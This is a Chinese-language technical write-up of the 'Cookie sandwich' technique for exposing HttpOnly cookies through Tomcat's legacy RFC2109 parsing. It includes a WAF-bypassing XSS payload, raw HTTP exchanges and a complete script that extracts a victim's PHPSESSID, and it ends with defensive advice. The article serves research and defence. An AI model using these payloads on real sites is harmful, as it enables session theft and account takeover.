在网络安全领域,Cookie作为Web应用中维持用户会话和状态的核心机制,其安全性一直备受关注。特别是带有HttpOnly
标志的Cookie,旨在防止客户端脚本(如JavaScript)访问,从而降低跨站脚本攻击(XSS)的风险。然而,一种名为“Cookie夹心”的技术,能够在特定条件下绕过HttpOnly
限制,暴露敏感Cookie值。
一、Cookie与HttpOnly的背景知识
在探讨“Cookie夹心”技术之前,我们先来了解Cookie和HttpOnly
的基础知识。Cookie是Web浏览器和服务器之间传递的小块数据,通常用于存储用户会话信息(如会话ID)、个性化设置或跟踪数据。典型的Cookie通过Set-Cookie
头在服务器响应中设置,例如:
Set-Cookie: sessionId=deadbeef; Path=/; HttpOnly
HttpOnly
标志是一种安全属性,指示浏览器禁止客户端脚本访问该Cookie。这种机制有效防止了XSS攻击者通过document.cookie
窃取敏感会话信息。然而,HttpOnly
并非万能的防御手段,其效果依赖于服务器端对Cookie的正确处理和解析。
Zakhar Fedotkin的研究建立在他此前关于绕过WAF(Web应用防火墙)的“幻影$Version
Cookie”技术之上。他注意到,在某些服务器(如Apache Tomcat)支持的遗留Cookie解析逻辑(RFC2109)中,Cookie值可以包含特殊字符。这一特性为“Cookie夹心”技术提供了可乘之机。
二、“Cookie夹心”技术的核心原理
“Cookie夹心”技术的核心在于利用服务器对Cookie头的解析逻辑缺陷,通过在Cookie值中嵌入特殊字符(如引号和分号),诱导服务器错误地重组Cookie结构,从而将原本受HttpOnly
保护的Cookie值暴露给客户端脚本。
1. 技术基础:遗留Cookie与特殊字符
现代浏览器(如Chrome)遵循RFC6265标准,不支持以$
开头的遗留Cookie名称(如$Version
)。然而,JavaScript仍可以通过document.cookie
设置此类Cookie,且服务器端的遗留解析逻辑(如Apache Tomcat的RFC2109模式)会识别它们。此外,Cookie值可以包含引号("
),这为攻击者提供了操控Cookie结构的空间。
“Cookie夹心”的基本思路是通过构造一系列Cookie,将目标Cookie“夹”在两个受控Cookie之间,最终使服务器将整个Cookie字符串(包括HttpOnly
Cookie)作为一个整体值返回。以下是技术实现的关键代码:
document.cookie = `$Version=1;`;
document.cookie = `param1="start`;
document.cookie = `param2=end";`;
在浏览器发送请求时,Cookie头可能如下:
GET / HTTP/1.1
Cookie: $Version=1; param1="start; sessionId=secret; param2=end"
服务器(例如Apache Tomcat)在处理此请求时,会根据RFC2109解析逻辑,将param1
的值识别为从"start
开始到end"
结束的字符串,包括中间的sessionId=secret
(假设这是一个HttpOnly
Cookie)。如果服务器将param1
的值反射到响应中,例如:
HTTP/1.1 200 OK
Set-Cookie: param1="start; sessionId=secret; param2=end";
攻击者通过客户端脚本即可访问param1
的值,从而间接获取sessionId
。
2. 服务器解析逻辑的细节
Apache Tomcat的Cookie解析器支持RFC6265和RFC2109标准。当遇到$Version
属性时,它默认切换到遗留解析模式,并遵循以下规则:
- 如果Cookie值以双引号(
"
)开头,则持续读取直到遇到下一个未转义的双引号。 - 支持反斜杠(
\
)转义特殊字符。
这种行为使得攻击者可以通过引号操控Cookie值的边界。例如,在Python框架(如Flask)中,Cookie值中的分号会被编码为四字符序列(斜杠加三位八进制码,如\073
),但仍保留引号内的完整性:
Cookie: param1="start; sessionId=secret; param2=end"
=>
Set-Cookie: param1="start\073 sessionId=secret\073 param2=end";
如果应用程序未正确设置HttpOnly
标志或将Cookie值反射到响应体中,攻击者即可利用此漏洞。
三、实战案例:窃取PHPSESSID
Zakhar Fedotkin在文章中分享了一个真实测试案例,展示了如何利用“Cookie夹心”技术结合XSS漏洞窃取HttpOnly
的PHPSESSID
Cookie。以下是攻击的详细步骤。
1. 发现XSS漏洞
攻击始于一个存在反射型XSS漏洞的错误页面。该页面未正确转义<link>
和<meta>
标签的属性,允许注入JavaScript代码。例如:
<link rel="canonical" oncontentvisibilityautostatechange="alert(1)" style="content-visibility:auto">
尽管站点部署了AWS WAF,但由于未修补的oncontentvisibilityautostatechange
事件(感谢@garethheyes的技巧),攻击者成功绕过了防护,执行了自定义脚本。
2. 定位暴露的Cookie参数
通过XSS,攻击者能够在页面上运行JavaScript,但直接访问的分析脚本中未找到HttpOnly
Cookie。随后,他发现了一个跟踪域名(tracking.example.com
),该域会在JSON响应中反射会话ID参数:
GET /json?session=ignored HTTP/1.1
Host: tracking.example.com
Cookie: session=deadbeef;
HTTP/2 200 OK
Content-Type: application/json
Access-Control-Allow-Origin: https://www.example.com
Access-Control-Allow-Credentials: true
{"session":"deadbeef"}
此端点支持CORS(跨源资源共享),允许来自主域的请求,且响应中包含凭据。这为“Cookie夹心”攻击提供了理想条件。
3. 利用Cookie顺序与反射漏洞
跟踪应用的一个关键行为是:尽管URL中的session
参数为必填项,服务器会优先使用Cookie头中的值覆盖它。由于后端运行Apache Tomcat,攻击者利用$Version
切换到RFC2109模式。然而,Cookie顺序是一个挑战——$Version
必须位于请求的首位。
Cookie顺序通常由创建时间或Path
属性决定。攻击者无法控制受害者Cookie的创建时间,但可以通过设置更具体的Path
(如/json
)调整顺序。最终请求如下:
GET /json?session=ignored
Host: tracking.example.com
Cookie: $Version=1; session="deadbeef; PHPSESSID=secret; dummy=qaz"
HTTP/2 200 OK
Content-Type: application/json
{"session":"deadbeef; PHPSESSID=secret; dummy=qaz"}
PHPSESSID=secret
被成功“夹”进session
值并反射到响应中。
4. 完整的攻击流程
攻击的完整脚本如下:
async function sandwich(target, cookie) {
const iframe = document.createElement('iframe');
const url = new URL(target);
const domain = url.hostname;
const path = url.pathname;
iframe.src = target;
iframe.style.display = 'none';
document.body.appendChild(iframe);
iframe.onload = async () => {
document.cookie = `$Version=1; domain=${domain}; path=${path};`;
document.cookie = `${cookie}="deadbeef; domain=${domain}; path=${path};`;
document.cookie = `dummy=qaz"; domain=${domain}; path=/;`;
const response = await fetch(`${target}`, { credentials: 'include' });
const responseData = await response.text();
alert(responseData);
};
}
setTimeout(sandwich, 100, 'http://example.com/json', 'session');
此脚本通过iframe触发XSS,设置“Cookie夹心”,并通过CORS请求提取PHPSESSID
。
四、技术分析与局限性
1. 为什么有效?
“Cookie夹心”技术的成功依赖于以下条件:
- 服务器支持遗留解析:如Apache Tomcat的RFC2109模式。
- 反射漏洞:Cookie值被不安全地反射到响应中。
- XSS或CORS配合:需要客户端脚本或跨源请求访问反射数据。
2. 局限性与挑战
- Cookie顺序控制:依赖
Path
属性调整顺序,可能不适用于所有场景。 - 框架依赖:不同框架对Cookie的处理方式差异较大(如Python框架的编码机制)。
- 防御措施:若服务器正确设置
HttpOnly
或避免反射,攻击将失效。
五、防御建议
针对“Cookie夹心”攻击,开发者应采取以下措施:
- 禁用遗留Cookie解析:在Apache Tomcat中禁用RFC2109支持,仅使用RFC6265。
- 严格转义与验证:确保Cookie值不被直接反射到响应中,并验证用户输入。
- 增强CORS配置:限制
Access-Control-Allow-Credentials
的使用,仅允许可信域。 - 全面XSS防护:修补所有XSS漏洞,避免攻击者植入脚本。
六、小结
“Cookie夹心”技术揭示了Cookie安全性的复杂性,即使是HttpOnly
这样看似坚固的防御,也可能因服务器解析逻辑的细微差异而失效。随着Web技术的发展,类似的漏洞可能在其他框架或协议中浮现,值得持续关注。